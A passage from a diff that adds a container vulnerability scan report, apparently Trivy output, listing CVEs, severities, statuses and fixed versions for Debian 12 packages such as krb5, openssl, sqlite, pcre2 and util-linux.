├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libk5crypto3 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libkrb5-3 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libkrb5support0 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libmount1 │ CVE-2026-53613 │ │ │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libncursesw6 │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpam-modules │ CVE-2025-6020 │ │ fixed │ 1.5.2-6+deb12u1 │ 1.5.2-6+deb12u2 │ linux-pam: Linux-pam directory Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6020 │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-modules-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-runtime │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam0g │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpcre2-8-0 │ CVE-2026-103111 │ │ │ 10.42-1 │ 10.42-1+deb12u2 │ pcre2: pcre2: Out-of-bounds write via crafted regular │ +│ │ │ │ │ │ │ expression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-103111 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86145 │ │ │ │ 10.42-1+deb12u1 │ pcre2: PCRE2: Out-of-bounds write allows arbitrary code │ +│ │ │ │ │ │ │ execution via crafted regular expressions... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86145 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89157 │ │ │ │ │ pcre2: PCRE2: Out-of-bounds write via large pattern input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89157 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89161 │ │ │ │ │ pcre2: PCRE2: Memory corruption vulnerability in │ +│ │ │ │ │ │ │ pcre2_jit_match │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89161 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsmartcols1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsqlite3-0 │ CVE-2025-7458 │ CRITICAL │ │ 3.40.1-2+deb12u1 │ │ sqlite: SQLite integer overflow │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-7458 │ +│ ├─────────────────┼──────────┼──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-6965 │ HIGH │ fixed │ │ 3.40.1-2+deb12u2 │ sqlite: Integer Truncation in SQLite │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6965 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-11822 │ │ fix_deferred │ │ │ sqlite: SQLite: Arbitrary code execution via crafted FTS5 │ +│ │ │ │ │ │ │ full-text search data │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-11822 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-11824 │ │ │ │ │ sqlite: SQLite: Arbitrary code execution and crash via │ +│ │ │ │ │ │ │ heap-based buffer overflow in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-11824 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119373 │ │ affected │ │ │ sqlite: sqlite: Denial of service via heap-based buffer │ +│ │ │ │ │ │ │ overflow in FTS5 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119373 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119374 │ │ │ │ │ sqlite: sqlite: Arbitrary code execution via corrupted FTS5 │ +│ │ │ │ │ │ │ index │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119374 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119379 │ │ │ │ │ sqlite: sqlite: Arbitrary code execution via crafted session │ +│ │ │ │ │ │ │ changesets │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119379 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.16-1~deb12u1 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsystemd0 │ CVE-2026-16742 │ │ fix_deferred │ 252.36-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libtinfo6 │ CVE-2025-69720 │ │ affected │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libudev1 │ CVE-2026-16742 │ │ fix_deferred │ 252.36-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature 